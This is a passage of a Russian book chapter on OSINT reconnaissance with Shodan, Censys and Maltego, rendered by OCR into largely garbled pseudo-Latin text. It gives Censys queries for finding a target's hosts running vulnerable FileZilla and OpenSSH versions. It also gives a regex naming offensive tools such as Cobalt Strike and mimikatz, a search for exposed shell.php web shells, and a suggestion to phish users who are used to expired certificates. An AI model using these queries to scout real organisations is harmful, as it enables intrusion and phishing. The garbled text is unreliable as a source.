TIOPTBI MJTF MOJIEJTN CETEBOTO TpadnKa, KOTOPbIE HE COOTBETCTBYIOT O3KUIAEMOMY TI0-
BEJIEHUIO CTAHIAPTHBIX CHCTeM. TaK, eCJi OpraHu3alys CJAeJIUT 32 CBOMMU CepBepaMu
U PEryJIsiPHO OOHOBJISAET UX, HAXOK/ICHUE B CETH CePBEPa € yCTAHOBJIEHHBIM CTAPBIM
MPOrPAMMHBIM 00€CTIEYeHHEM CO MHOKECTBOM YSI3BUMOCTEN MOJKET CBUJIETEICTBO-
BaTh O MPUCYTCTBUU JOBYIIKH. J[OJIKHO MMOKA3aThCs CTPAHHBIM HAIWYNE HA OJTHOM
cepsepe 60JIbIIOro Habopa IPOrpaMMHOro obecredenus (Beb-cepsep, IOYTOBbI
cepsep, LDAP-cepBep u T. 11.), eci B 3TOW OpraHU3aIUy MO/ KAKIAYTO 33/1a9y 1C-
MI0JIB3YETCsI BbIIEJIEHHAST CUCTEMA.

Shodan Taxske TpeocTaBISIET METATAHHBIE 1 PA3TINYHYIO WHMOPMAITIIO O HAWAEHHBIX
YCTPONCTBAX M CEPBUCAX — AHATUIUPYHTE UX. ITY WH(HOPMAIIMIO MOKHO HCIIOJIb30-
BaTh /I WAeHTU(hUKAIUN OllepallMOHHON CUCTEMbL, ee BePCUI 1 IPYTUX XapaKTepu-
ctuk. Vmure pacxoskeHus NI HECOOTBETCTBUS B 9TOH MHPOPMAIIMH, KOTOPbIE MOTYT
YKa3bIBaTh Ha HaJIMUKe JOBYIIKU. TaK, P OJIHOM U3 aHAJIM30B ceTell GBLIO BHISBIEHO
HEKOTOpOe KOJIMYECTBO KOHTPOJIJIEPOB IIPOU3BO/ICTBEHHBIX YCTPONCTB C OINHAKOBBIMU
CEepUITHBIMU HOMePaMH, KOTOPBIE BIIOCJIE/ICTBIN OKA3aJIHCh JJOBYTIIKAMHI.

Hciosb3yiiTe H0MOJHUTEIbHbIE HHCTPYMEHTHI M TeXHUKU. B camom Shodan ectb Ter
honeypot; opoOyiiTe TaKKe UCII0Ib30BaTh MHCTPYMEHT Honeypot or Not, ZOCTYII-
HBI 110 afpecy https://honeyscore.shodan.io. [loctaTouno BBectu IP-ampec 1eneBoit
CHUCTEMBbI, I CEPBUC CaM ITPOAHATN3UPYET ee TI0O MHOKECTBY ITapaMeTPOB.
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ITomHwMTE, UTO He BCe JTOBYIITKH JIETKO 0OHAPYKUThH, KAYECTBEHHO CO3/IAHHAS JTOBYIITKA
Gy/IeT MPAKTUIECKU MOJTHOCTHIO IMUTHPOBATE PaboTy peaibHoil cuctembl. [ToaTomy
HEo6XO0IMMO cOOUPATH MAKCUMATBHO BO3MOKHOE KOJIMUECTBO HH(POPMAIIUH O TieJie-
BOU CHCTEME U TIIATETHHO e aHATM3UPOBATH B IIOUCKAX OTKJIOHEHHUH U HEOOBIYHOTO
HOBE/ICHUS.

Censys

Censys SBJISIETCST OTIUYHBIM MTOMOTITHUKOM Ha dTare c6opa nHGOPMAIIN O TIeTeBOi
cucTeMe, HO 3TUM eT0 (DYHKITMU He oTpaHnvYmBaoTcsa. Huske Mbl paccMOTpUM He-
CKOJILKO TTPUMEPOB HCTOIb30BAHUS TOTO HHCTPYMEHTA B TeMsIx chbopa mHhopma-
. Kak u /it MHOTUX ZIPYTUX YTUITHT, CYIIIECTBYET U GeCTIaTHAast OOTIE0CTY THAS
Bepcus Censys, W TIaTHast TOANUCKa Ha Hero. [IpuHImn paboTel 06enx Bepeuii
OJIMHAKOBBII, PA3HUIA TOJBKO B 0ObeMe TIoIydaeMoil HH(pOpMaIii.

Censys, MHCTPYMEHT, CO3/IaHHBIIT MUYNTAaHCKUM YHUBEPCUTETOM, TIPE/ICTABJISIET
cob01l TOUCKOBYIO CUCTEMY, C KOTOPOH MOKHO B3aMMOJIEICTBOBATH KakK uepes Beh-
nntepdeiic, Tak u nocpegctsom APIL. Onanako, B oT/iM4me OT APYTUX TTOUCKOBBIX
CUCTEeM, OHA BBIJIAeT He JOCTYITHYIO Ha CTPAHUIIE TIPeANPUATHS MHHOPMAIIO, a JIaH-
HBIE, TIOJIy4aeMble BO BPEMS B3AUMO/ICHCTBUS € CETEBBIMU CEPBUCAME, — OTKPBITBIC
MOPTBI, BEPCUIO TTPOTPAMMHOTO0 obecrieueHnst 1 MHOToe Apyroe. Censys UCIob3yeT
ZMap (oaHOomaKeTHbINA OBICTPBINI CKAHEP CeTH) U IpefocTaBisieT nHGOPMAIUIO,
HoJIydeHHy1o ot paboratonux Ha IPv4 cepBucos.

[Monyuyennas urhopManus XpaHurces B 6ase JaAHHBIX U MOKET ObITh JOCTYITHA JIO-
6omy tosib3oBarento. Kak u gpyrue uHcTpyMeHTbl, Censys He JIMIIEH HEJOCTATKOB.
OH ckaHUpPYyeT He BCE IOCTYIMHbBIE TOPTHI U, COOTBETCTBEHHO, CEPBUCHI, TOATOMY
noJstyyeHHast iHpOPMAIIKst, CKopee BCero, He OyJIeT IOJTHOM, U B IOMOJTHEHHE K TOMY
UHCTPYMEHTY BaM TIPUAETCS TIPUMEHSTH U JIPYTHE CIOCOOBI MOJTYYeHUsT HeOOXO0U-
MBIX IAHHBIX. YUUTHIBAlTE, 4TO TPUHIUI paboThl Censys CX0kK ¢ IPUHITUIOM pabo-
TBI JIPYTUX MOUCKOBBIX CHCTEM, HH(POPMAIM B HEM He 0OHOBJIAETCS MOMEHTAILHO
U MOJKET ObITh HE CaMOil aKTyalbHO#L. 3aTO K HeCOMHEHHbBIM rpermyiiectBam Censys
MOKHO OTHECTH TO, UTO aKTHBHBII cOOP JIAHHBIX ysKe ObLI MPOM3BE/ICH 3a Bac U Iie-
JieBast OpPraHu3aIys He y3HaeT O BaIllUX JeCTBUSIX.

CMHTaKCUC 3anpocoB

Censys, Kak 1 pyTue MOMCKOBBIE CHCTEMBI, TIOAEPKUBAET BOSMOKHOCTD HATIMCAHNS
CJIOKHBIX 3a1IPOCOB. IIprMephI OIIepaTOpPOB, NCIOJIb3YEMBIX B 9TOI CUCTEME, TPUBO-
nares B taba. 3.1.

Ta6numua 3.1. MNpyMepbl oNepaTopos, MCNoNb3yeMbix B Censys

Tvin Mpumep

O6br4mbIe CI0BA Login

OGpatieHue K OT/ieJIbHbIM MOJISIM 80.http.get.status_code:80
Byuiessl onepaiiuun AND, OR,NOT
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Ta6bnuua 3.1 (okoHuyaHue)

Tvn Mpumep
Cern ip:173.0.5.1/26

ip:[143.20.5.1 TO 143.20.5.20]
ITpoToKobl Protocols:"443 /https"
DNS-sanpocst a:cisco.com

MX:Cisco.com

Perynaphbie BoIpaskeHUS CraH/1apTHBIE PETYJISPHBIC BEIPASKECHIIS

Jlornueckue omepaTops! 5= & >

JLuist ipriMepa TiprBe/IeM HECKOJIBKO 3aIPOCOB, KOTOPbIE MOXKHO UCIIOB30BATH B BE6-
BepCcUU TIOMCKOBOI CUCTEMBI, IOCTYITHOM 110 ajpecy https://search.censys.io/

ITouck xoctoB B anamazoune 23.20.0.0/14, cay:xOb1 KOTOPBIX cojepskat Ghpasy
«Schneider Electric» nau cioso «Dell»:

("Schneider Electric" or Dell) and ip: 23.20.0.0/14

ITouck X0CTOB, Y KOTOPBIX OTKPBITHI JIIOOBIE U3 CIEAYIOMNX TOPTOB: 22, 23, 24, 25:
services.port: {22, 23, 24, 25}

TTouck X0CTOB XOTst ObI ¢ OJIHO CJIYKOOM, PEACTABISIONIENH cepTH(hUKAT BO BPEMST
pyxomoxarust TLS:

services.certificate: *

[Touck xoctoB ¢ HTTP-cepBucoM ¢ OTKPBITHIM CITUCKOM KaTaJIOTOB U TTOI03PUTETh-
HBIMU UMeHaMU (DAiIoB B UX COMEPKUMOM:

same_service((services.http.response.html_title:"Index of /" or services.http.
response.html_title:"Directory Listing for /") and services.http.response.
body: /.*?(metasploit|cobaltstrike|sliver|covenant|brc4|brute-ratel|commander-
runme |bruteratel |ps2exe| (badger|shellcode|sc|beacon|artifact|payload|team-
viewer|anydesk|mimikatz|cs)\. (exe|psi1|vbs|bin|nupkg)).*/ )

[Touck XocToOB co cayk60i, Ha KOTOPOH 3aIyIeHo mporpaMMHoe obecrieueH e
OpenSSH Bepcun 7.6p1 B Linux Bepcun 18.04. [lannasa Bepcusi SSH aBisieTcs
ycTapeslleil, COJIepXUT MHOXKECTBO YSI3BUMOCTEH, HO BCe PABHO IPOOJIKAET HC-
MOJIb30BATHCS HA HEKOTOPBIX MPEITPUSATUSIX:

same_service(services.software.uniform_resource_identifier:
‘cpe:2.3:0:canonical:ubuntu_linux:18.04:*:*:*: ¥k k% and services.software.
uniform_resource_identifier: “cpe:2.3:a:openbsd:openssh:7.6:pl:* ¥ ¥k kx %)

ITouck xocros noj ynpasiennem Raspberry Pi:

service.software.product: "Raspberry Pi"
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ITonck xocros B Poccun:

location.country: Russia

Pucynku 3.21 u 3.22 wiunoctpupyior pesdyJbrar DNS-3anpoca 1 nmogy4yeHHyto uH-
opmarmio o xocre.
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Puc. 3.21. Pe3ynbTaT 3anpoca 0 AOMEHe Cisco.com
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M1 BH/IUM, UTO ]IaHHbeI WHCTPYMEHT ITO3BOJIACT MTOJYYUTH MHOTO HHTCPECHOﬁ nH-
(I)OpMaHI/II/I, HadynHasl C a/IpeCOB U 3aKaH4Y1Basd 6aHHepaMI/I n I‘eO]IOKaHI/IeI;'I.

MpumMepbl ncnonb3oBaHust Be6-sepcun Censys

B paMKax JaHHOTO pasjeia Mbl PACCMOTPUM HECKOIBLKO IPUMEPOB UCIIONb30BAHMUS
GpaysepHoii Bepcuu JaHHOi TTONCKOBON cucTeMbl. Bbl HaBepHsIKa 3a1aeTech BOIPO-
COM, a JIJIsI Yero Torja Haio ObLIO PasdUpaThCs CO BCeM BbllIeomcanHbiM. OTBer
npoct: Censys UCIIOJIb3yeTCs Kak KoMnoHeHT Maltego. Basosbim mpuHmnnaM pa-
GOTBI MOCIEAHETO MOCBAILEH OTAeabHbIN pasaen. Ocsous Maltego, Bb 6e3 mpodaem
CMOJKETe UCII0JIb30BATh IIOAK/IIOYeHHbIe K HeMy TpaHchopmepbl Censys, OHAKO JJIst
paboThl ¢ GpaysepHOil Bepcrell Bam TIOHaK00sTest GoJiee MMPOKNE 3HAHMSL,

Bee zamcu B 6ase namnbix Censys XpaHsTCsl B CTPYKTYPHUPOBAHHOM Bujie. Bbr Mo-
JxKeTe obpalarbes KO Beell 6aze JaHHBIX WU K OTAEIbHBIM ee oM. /st uudop-
Malli¥ 0 XOCTe BBIJIEJIEHO /iBa T10JISI: ip ¥ name, B IepBOM ToJie XpaHutcst IP-anpec,
BO BTOPOM — MMSI XOCTA.

Mubopmarus o cepBrcax HAMHOTO pasHooGpastee. Bee, 4To CBSI3aHO ¢ cepBrCaMHu,
HauMHaeTCA ¢ KJI0YeBOTO cJioBa services. Homep mopra 11714 ornipesiesieHHOTO cepBuca
JIOCTYIIEH B TIOJIE SErvices.port, a GaHHep, KOTOPDI BO3BPAIIAET CEPBIC ITPU MOJKIIIO-
YeHWUM, XPAHUTCA B II0JIE Services.banner.

MHbopMalyst o reoJOKaIii HAXOAUTCS B MOJIAX, HaunHaoumxcest ¢ location. ITory-
YUTh TOUYHYIO UH(GOPMAIIUIO O KOOPAWHATAX, a TOYHEE, ITUPOTY U JIOJITOTY, MOSKHO U3
rioJieit location.coordinates.latitude 1 location.coordinates.longitude.

ITompobyem MmpoaHaTU3MPOBaTh OIHY opraHusaiiio B TaiiBare. MblI MoiiieM He cCaMbIM
OBICTPBIM ITyTeM, YTOObI [TOKA3aTh PasHble 3aI[POCHI U UX CTPYKTYPY. Brioc/iescTBim Bbi
caMi IIpHAyMaeTe, Kak MOKHO ObLI0 Obl clieJIaTh 9To Ipolie 1 apdeKkTusHee.

Bosbmem s ananusa qomen oursweb.net. /lys mosiyuyeHus crnmcka BceX HaXOd-
MIMXCS B 9TOM JJIOMEHHOI 30HE CEPBEPOB HAITUIIIEM 3aIIPOC dns . names: oursweb. net,
Pe3yJIbTaThl BbIJIAUM 110 KOTOPOMY TIPEZICTaBIeHbI Ha puc. 3.23.

Teneps ordunsrpyem nndopmarmio 000 secex FTP-cepsepax, Harpumep, 10 HOMEpY
nopra. Haru 3anpoc 6yzer BbIrIsIeTh CIeayIonmM oo6pa3oM: dns.names: oursweb.
net and services.port: 21 (puc. 3.24).

A Ternepb caMmoe HHTEpecHoe: IonpodyeM oThUIBTPOBATh JaHHbIe OaHHEPa, KOTOPbIIl
sosspaiaer FTP, ¢ nesbio Haiitu yassumocTb. Heo6xoaumo ormeruts, uto Censys
He SBJIIETCS UHCTPYMEHTOM JIJISI aBTOMATHU3AIMH TTOUCKA YSI3BUMOCTEN — XOTSI OH
U COAEPKUT B cebe BCIo HeOOXOAMMYIO nH(pOPMAIIMIO, HO CBSA3U ¢ 6a30ii JaHHbIX
VS3BUMOCTEH Y HErO HET.

Mpr yKe TTOHSIIN, YTO B 1I€JIEBOIM OPraHU3allMK €CTh HECKOJIBKO XOCTOB C YCTaHOB-
seunbiMu FTP-cepBucamu, Tenepb oTuibrpyeM Te, Ha KOTOPBIX UCIIOJIB3YETCs
ysissumast Bepcust FileZilla 0.9.39 beta (oHa comepkuT MHOKECTBO KPUTHUECKIX
YSI3BUMOCTEH, B TOM 4MCJIe OHa ySI3BMMa K aTaKaM, HallpaB/IeHHbIM Ha I1eperojHene

Gydepa).
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Puc. 3.24. Pe3ynbTaT 3anpoca AaHHbIX O cepBucax

Harm 3amrpoc Gy/1eT BBITISIIETH CJAEAYIONMUM 00pa3oM: dns.names: oursweb.net and
services.banner: "0.9.39" and services.port: 21 (puc. 3.25).

Censys MOKHO UCTIOJIb30BaTh U J171s1 oncka nagopMaimn o SSL-ceptudukartax. Uro
9TO0 HaM z1aeT? B GOJIbIIMHCTBE CIydaeB KOMIIAHUY CJIESAT 32 CPOKOM AEHCTBHS CBOMX
cepTi(UKATOB, OLHAKO HTO IPaBIJIO paboTaeT ganeko He eerga. OObIYHO HA TIABHON
CTpaHMULIE IIPEAIPUATHI cepTrUdUKAT pabounil (XOTs U 9TO He BCEr/ia Tak), a BOT Ha Me-
Hee MyOIMYHbIX CepPBEPax MPOCPOUCHHBIE CEPTU(DUKATHI BCTPEYAIOTCS OBOJIBHO YacTo.
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Puc. 3.25. Pe3ynbtaT paboThl 3anpoca ¢ NoMckoM rno 6aHHepy

ITO cuTyalrsd IPUBOAUT K TOMY, UTO II0JIb30BaTe I He 00pallaloT BHUMAHUA Ha 110~
CTOSIHHBIE TIPEYIPEKICHN Opay3epa 0 BO3MOKHBIX IIPoOIeMax ¢ 6e30I1aCHOCTbIO
U IPOJOJIKAIOT HOJIH30BATHCS CUCTEMOI B OXKMIAHIK, KOTIa HepajauBbli aiMUHN-
CTPATOP COM3BOJIUT TIOMEHTH cepTuduKrat. B aTOM ciryuae OTKPBIBAETCST TIPOCTOP
IS Hatlelt hanTasum; IePBOe, YTO IIPUXOAUT B TOJIOBY, — CO3AATh (DUIIIMHTOBLIN CANT
C HOXOKMM MMEHEM U TTONPpo6oBaTh IPOBECTH (DUIIMHIYBYIO aTaKy MO/ IPEIJI0rOM
nepexojia Ha HOBYIO «pab0uyio» CUCTEMY WU IIPOCTO C IIPEII0KEHIEM CMEHUTD T1a-
poJib. ITorrpobyem Tereph IOMCKAaTh IPOCPOUEHHbIE CePTHMUKATHI /IS OITYJISIPHOTO
meccenpkepa WhatsApp (puc. 3.26).
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Puc. 3.26. lNpumep pesynbTaTta paboTbl 3anpoca
(parsed.names: «*.whatsapp.com») and tags.raw: «expired»
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[TpuBeaeM eliie OfMH HHTEPECHBIN IPUMeEp. A eCJIi MIPEANIOJIOKUTD, 4TO BCIO paboTy
3a HAC y’Ke BBIIOJIHUJIN U 1lesieBasd cucTeMa Bajiomana? Takoe BIIOJIHE BO3MOXKHO;
OJIHUM U3 MIPU3HAKOB B3JIOMAHHOI CUCTEMBI SIBJISIETCS] HAJTUUUE OOIIE0CTYITHOTO
PHP-ckpunTa, KOTOPBIN TpeIocTaBsgeT JOCTYI K KOMaHIHON cTpoke — shell.
php. TTorrpoOyeM HaiiTH MOTEHIMATBHO B3JIOMAaHHbIE CEPBEPHI TIPH TIOMOTI[H 3aIIPOCa
services.http.response.body: shell.php. ITocne ananmusa mepBoro Xe cepBepa
M3 CITMCKA MBI HAIIJIM CKPUIIT, KOTOPBIN pasMerieH Ha HecTaHaapTHOM ropTe 8076,
na erte u 6e3 mudpoBaHust, — 9TO U €CTh MHTEPeCyonii Hac pe3yJbrat (puc. 3.27).

5 Gmmnte s [ERSMERIE] O aMEHE x Ofmmisy ¢ @ ewsoeni s B o T

-

Kotilina @ KabTools [ RsbDocs BEKMForm 8 KAttt o Coal00  GoogleMacking 9 7, Ommsae

Puc. 3.27. PHP shell Ha HaligeHHOM XocTe

MOJKHO TIpUyMaTh €lile THICAUN TPUMEPOB TIOUCKA WH(DOPMAIUK U €€ UCIOTIb30-
BaHM TIPU TIOMOIIN OMMCAHHOTO MHCTPYMEHTA, HTOMY MOKHO TIOCBATUTD TIETYIO
OT/IETbHYIO KHUTY. 3aiaveil ke 9TOTO pasjesna ObLIO JUITH KPATKOe 3HAKOMCTBO
¢ BoaMoskHOCTAME Censys, KOTOPOe MOJKHO GBITO Bac 3anHTEpecoBaTh. Best nHbop-
MaIUst 0 MapaMeTpax JIJis OUCKa HAXOUTCS Ha caiiTe pa3pabOTUMKa, U BbI MOJKETE ee
u3yunTh 6e3 crenku. TosbKo yuTuTe, 4T0 B GECIIATHON BEPCUHU €CTh OTPAHUYEHUST
Ha KOJIMYECTBO 3aMIPOCOB B JIeHb, HO Be/lb HUKTO JKe HE OTMEHSIJI TaKUe CEPBUCHI, KaK
Firefox Relay uiu AnonAddy, se npasza jiu?

Moaroroska Kali Linux

[Tocse Toro Kak BbI TO3HAKOMUJIUCDH C OHJIAWH-BEPCUEN 9TOTO 3aMevyaTeIbHOTO WH-
CTPYMEHTa, BaM HaBEPHsIKa 3ax04eTcst ucroib3oBath ero B Kali Linux. K coskanenuto,
IO YMOJTYAHWIO OH HEJIOCTYTIEH, O/THAKO 9TO He MTOMeIaeT HaM B HECKOJIBKO MIaroB
HaCTPOUTH €TO.

Ha nepsom mrare HeoOX0AMMO yCTaHOBUTH HyskHOe T1O.

Maltego — mpumoskene s pa3BeIKN ¢ OTKPBITBIM HCXOAHBIM KomoM. OHO T10-
3BOJISIET [TOJIYYaTh U COXPAHSATH HH(GOPMAIIIIO U3 PA3JIUYHBIX HCTOUHIKOB, a TAKKE
IPYIIUPOBATH €€ B yI0OHOM, YMTaeMOM BHjie. Mbl Gy/IeM HCTIOIb30BaTh OECTIIIATHY IO
Bepcuio Community Edition.
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JL71s1 yCcTaHOBKY BBIITOJTHUTE KOMAH/LY:

$sudo apt install malego

@} Recently Used
W Al Applications
Tet Settings
W Usual Applications
Q 01 - Information Gathering
@ 02 - Vulnerability Analysis

03 - Web Application Analysis
@ 04 - Dalabase Assessment
ﬁ 05 - Password Attacks

C60p OTKPbITOM MHGOPMALIMK O LiEeNn

L3 @l-l IS Anals
b Q-lns_.'|F-5|denti cation
3 Q * Live Host Identificatior

(3 Q = Metwork & Port Scanne

» @), - osINT Analysis
13 Q * Houle A
+ @) - SMB Analysis

» @), - SMTP Analysis

13 Q * SNMP Anz

@P 06 - Wireless Attacks » @L » SSL Analysis
i) 07 -Re Enginesiiog e dmitr

™ 08 - Exploitation Tools

€& 09 - Sniffing & Spoofing I

& 10 -Post Exploitatio

@ - Forensics

@ 12 - Reporting Tools

& 13- Soclal Engineering Tools

Product Selection

Welcome to Maltego!

We hap anja our product as mus joy bulding it

Please choose how you want to use Maltega:

Malteqgo One

Maltego XL

Activato with key
(! Purchasa

Mallego Classic

Maltego CE (Free)

Maltege One is the new wnified solution to access and sctivate Maltego plans for
Frofeasionals and Enterprises.

Haltege eXtra Large is Paterva’s presmium selution to visualise large data seta and
allows lor more than 10 600 entities in a single gragh.

Maltege Classic I3 a commereial version of Maltege which allows users ta viaualize
up to 10 000 entities in a graph.

I Maltega CE Edition] the 7 will be installed and
«can be run to generate graphs. but the features are limited and the resulting
graphs may not be used for cammercial purpases

Malteqo CaseFile (Free) o Maltegs Caserile graphs can onby be created manually, ne transforms may be
. Mare typea of entities will be instalied and the resulting graphs may be used

for commercial purpases

Puc. 3.29. Mepselit 3anyck Maltego
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[Tocre ycranoBkm mporpamMMma mosiButcst B Merio (puc. 3.28). IIpu mepBoMm 3amycke
Oy et Heo6XOoAMMO TIpoiiTH peructparmio (puc. 3.29).

IMocsie ycTaHOBKY 0OSI3aTEIBHO 3aITyCTUTE ITPOTIECC OOHOBJIEHHMSL.

HawMm takske moHazo6sITCs HOTIOJTHUTEIbHBIE TPOTPaMMBbl, a UMeHHO ZMap (6ec-
matHas u 6oJiee ObicTpas aabrepHatusa Nmap) u Python-6ubanoreka Censys.
YcraHOBUM UX, UCTIOJIB3YST KOHCOJIbHbIE KOMAH/IbI:

$sudo apt install zmap
$sudo pip install censys

Jls nosiHoueHHoi pa6oThl ¢ Censys HEOOGXOAMMO HOTyunTh Kiawod API. [lias atoro
HY>KHO TIpoiTH peructpanuio Ha caiite Censys.io. Mcrob3yst co3ianublii aKKayHT,
BOI/IUTE B CUCTEMY, /laiee B HACTPOIKaX akKayHTa OTKpoiiTe paszesn API 1 cCKOTTUPYyHi-
Te API ID u Secret, onu 1ioHag00sTCa HaMm B gajbheiimem (puc. 3.30).

MOBNSYS Gk - | & |t

My Account

AP| Credentials

catel WP
L 1]
St tiamatetsTcamrsecsetl (5]

Rate Limits

Bk e o e st maaciacnd i yOun woOaL,

aplvnsh T4 acBonslusccnd (170 par & it e

Puc. 3.30. Kniouun B paspene API

B Maltego Heo6xoaumo nHcTampoBaTh KomioHeHT iy Censys (puc. 3.31).

B nacTpoiikax KOMIIOHeHTa yKa:KUTe MOJyYeHHbIe Ha MPe/bIIyIIeM dTame KIYn

(puc. 3.32).

Jlns mosryuenus 6oJiee pasBepHyTON HHGOPMAIMU Bl MOJKETE YCTAHOBUTD CJIEAYIO-
e komnonenTsl; CaseFile, PassiveTotal, TreatCrowd, VirusTotal.

Ha manHBII MOMEHT MBI OCTAHOBUMCS Ha 3TOM IMare, MOCKOJIbKY MCTIOJIb30BAHIIO
Maltego Gyer MoCBsIIIeH OTAeTbHBIN Pase)l.
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F :

® MALTEGO
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Stendard Translom.. Canerile Intkties Maltegn Regex Trane, il Opensancrions
iy Makags Tashrolspas ey g Teshaniegun REIEX o ey Tachras s Tukasiagan

e Starcars DT Traafurms T e
Pegarcrs

Webinars and Demios

Transform Updates .

Opansanctions Transforms . Acusciba Aberivaul 6T alphaMountain
. TR oy g e b -

T W PP p———

EEOISTH | st sebaniietinn

Tallared Tralning

e tormared Conrvas

Censys App ID

Puc. 3.32. YcTaHoBKa Ktoyel B koMroHeHTe Censys

Maltego

OpHoll u3 ocHOBHBIX (yHKIMH Maltego saBisiercs npezcTaBieHne 0o6beKTa, TO eCTh
naeHTudUKaIMs 1 CBA3bIBaHUE JIAHHBIX U3 HECKOJbKUX HCTOYHUKOB, OTHOCSIIMXCS
K OJTHOMY U TOMY K€ JIUILY, OPraHU3alliu 1 T. II. ITO T103BOJISIET I10Ib30BATEIAM 10-
JIYYUTH MOJTHOE TIPEICTABJICHNE O B3AUMOCBSI3SIX MEKY 0OBEKTAMU, YTO YIPOIIAET
BBISIBICHUE 3aKOHOMEPHOCTEH 1 aHOMAJTUA.

Maltego Takske nMeeT MHOKECTBO APYTUX (DYHKIMHA — 9TO U 0OTOOPasKEHUE CETH,
U aHAJIU3 COTMATIBHBIX CETEH, ¥ OTCJACKUBAHIE YTEUEK TAHHBIX. ITH (HYHKIIUH O3B0~
JIIIOT CTIEIUATIUCTaM TI0 6e30MacHOCTH, KPUMUHAIUCTAM U UCCIIE/I0BATENSAM OBICTPO
cobuparh ¥ aHAIU3UPOBATH OOJIbIINE OOBEMbI JaHHBIX JIJISI BISBJIEHUS YIPo3 0e30-
MACHOCTY WJIN PACKPBITH CKPbITOI nHGopMarmu. Maltego obsraaeT mupokuMu
BO3MOKHOCTSIMU HACTPOUKH; Y HETO GOJIBIIOE COODIIECTBO MOJIb30BATEIEH, KOTOPBIE
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paspabaThIBatOT KOMIIOHEHTHI JIJIS TIPe0OPas0BaHMsT JaHHBIX, HTHTETPUPYIOT UX C APYTH-
MU MHCTPYMEHTAMHU 1 OGMEHUBAIOTCST UMH, YTO JIEIAET €T0 YHUBEPCATLHBIM U MOTITHBIM
UHCTPYMEHTOM JIJIst Pa3Be/Iky 1 cObopa MH(MOPMAIIMT U3 OTKPHITBIX HCTOUHUKOB.

ITpottece ycraHOBKY 1 HacTpoiiku Maltego yske omucaH B MPEAbILYIIEM pasele,
nocssiienHoM Censys. OCHOBHOM 3aj1aueii 9Toro pasjiesa ObLI OKa3 MEPBbIX [IaroB
B 9TOM 3aMeYaTeTbHOM MPOoyKTe. VITak, mpe/roosKuM, 4To BbI 3aITyCTUIIN TIPOTPaM-
my. Tenepsb m/1s1 Hadasa cOopa U BU3yaIu3allii JaHHBIX BaM HYKHO CO3/IaTh HOBbII
rpac (puc. 3.33). [l 3TOTO 10CTATOUHO HAKATH KHOMKY New B JIeBOM BEpXHEM YTy
WJIM BOCIIOJIB30BaThCs KoMOuHanmeil kiaasur Ctrl+T.

Puc. 3.33. Co3gaHue nepeoro obbekTa B Maltego

[l mpuMepa BO3bMeM CailT OJTHOU 13 aMEPUKAHCKUX KEJIE3HOTOPOKHBIX KOMITAHUI.
B sieBoii yacT OKHa HaM JIOCTYTTHBI pas3/IMYHble MHCTPYMEHTBI. TOUKO# BXo/1a /17151 Hac
SIBJIIETCST TOMEH, TIOITOMY BBIOEPEM U3 CITHCKA CieBa MHCTpyMeHT Domain u mepeTta-
UM €T0 B paboue OKHO. B mpaBoM cTos1611e TOCTYTHBI CBOCTBA BHOBH CO3/IAHHOTO
o6beKTa, 33/1a/[MM Ha3BaHue caiita aus-boxing.com.

Terepb K BHOBb CO3JaHHOMY OOBEKTY HPUMEHUM KOMIIOHEHT-TpaHchopMep
(Transforms). Yto tpoucxoant? KOMIIOHEHT TOJIyYaeT YKa3aHHbII HaMU 00bEKT,
MCXO/IST M3 33/TAHHBIX Pa3pabOTIMKAMU TMPABUI CAMOCTOSITELHO TIPOBOAUT TIOUCK
uHGOPMAIMY U BBIJIAET PE3YJIBTAT B BUIE HOBBIX, CBSI3AHHBIX 00HEKTOB B Tpade.

[TpumeHsaTh TpaHcHOPMEP MOKHO KO BCEM CO3aBaeMbiM 0ObeKTaM. B ntore mmar
3a IaroM MbI OyIeM TI0JTy4aTh HOBYIO HH(bopMalmio 00 uccienyemom obbexre. O6-
paTuTe BHNMaHNE, 9TO K Pa3HbIM O6'beKTaM MOTYT 6bITb TIPpMMEHEHDbI Pa3HbIE€ TPaHC-
hopMepbl WiTH Jake WX OTAeJIbHbIe (QYHKIHII, T09TOMY HEOOXOIMMO YETKO CJIeUTh
32 MPABUJILHOCTBIO THIIA YKa3bIBAEMOTO OOBEKTA.
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Nrak, monpobyeM TPUMEHNUTH K HalleMy 06BeKTy OfiH 3 Tpanchopmepos. s
9TOrO B JIEBOM yIJIy BbiOepeM Transforms b Standart Transforms » All Transforms » To
website (puc. 3.34).

& Foamra e B Feemm
B, zevs 350w B, T ot
O Frombe ™ €} Toeen baleaimn

Puc. 3.34. lpvmeHeHre nepBoro TpaHcdopmepa

Bpoze 661 HUYEro TaKOro MHTEPECHOTO, CKasKeTe Bbl, HO Tellepb K BHOBb HOSBUBILIE-
MyCsT KOMIIOHEHTY TonpoOyiiTe mpuMeHnTh Tpanchopmep To Website Technologies.
Boigesiure HOBbIN OOBEKT MIETUKOM MbIIIN 1 IpuMennTe Tpancdopmep (puc. 3.35).

ity Ediiun 4.3.1

Toam

,,.,......\iq:m-.h B e

Puc. 3.35. lNprMeHeHne TpaHchopMepa K HOBOMY 06BbEKTY



MaccuBHbI C6Op AaHHbIX 75

Tereps MBI UMeeM COBEPIEHHO WHYIO KapTUHY. Beero 3a mapy MUHYT MBI TTOJTY -
YUK OTPOMHYIO TIOPIHio uHpopMarmu. OcTanoch TOJIbKO PasodpaThes, 4To ¢ Hell
JleJIaTh.

[Tonpobyem HalTH KOHTAKTHYIO HHGOPMALUIO II0Ib30BaTeIel, HAIIpUMep aapeca
AJIEKTPOHHOM 1mouThL. [[Jist aTOr0 Henob3yeM Tparcdopmep To Email Adressess. O6-
partuTe BHUMAHUE, YTO HTOT TpaHchOpMep HeJIb3sl IPUMEHNUTh K 00bekTy Website,
OJIHAKO OH 3aMedaTesIbHo paboTaeT ¢ 00bekToM Domain. DTo JIOrMYHO, BE/Ib IIOYTOBBIE
ajpeca CO3/IAI0TCS B OIPEAEIEHHOM J0MeHe 1 ObIBAeT TaK, YTO aApec caiiTa MOKeT
He COBMaJaTh ¢ JOMEHOM TIOYTOBOTO azpeca. Tak, Ha caliT 3alUIICHHON TMOYTHI
Protonmail MoskHO 3aiiTH, HCIIOIB3YST JOMEH proton.me, a TOYTOBBIN SIUK CO3/1aTh
B JloMeHe protonmail.com.

[TocmoTpumM, uTo y Hac Beimo (puc. 3.36).

‘ mm::—mﬂ rerie | O @@ | B s ;:::h—.n:u::w— :::-:::;—'hl
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Puc. 3.36. Pe3ynbTaT cbopa NOUTOBbLIX aApecoB ANsl LeIeBOro AOMEHa

Coracurech, pe3yJIbTaT BIEYATIIsSeT, 0COOEHHO YUUTHIBasK MUHUMATbHBIE TPYI03a-
TpaThl ¥ IpeKpacHoe Tpauyeckoe mpecTaBIcHIE.

Crout yrnoMsiHyTh etiie ofuy GhyHKimio. Jlo cux mop Mbl paboTasiy ¢ KaxIbiM 00b-
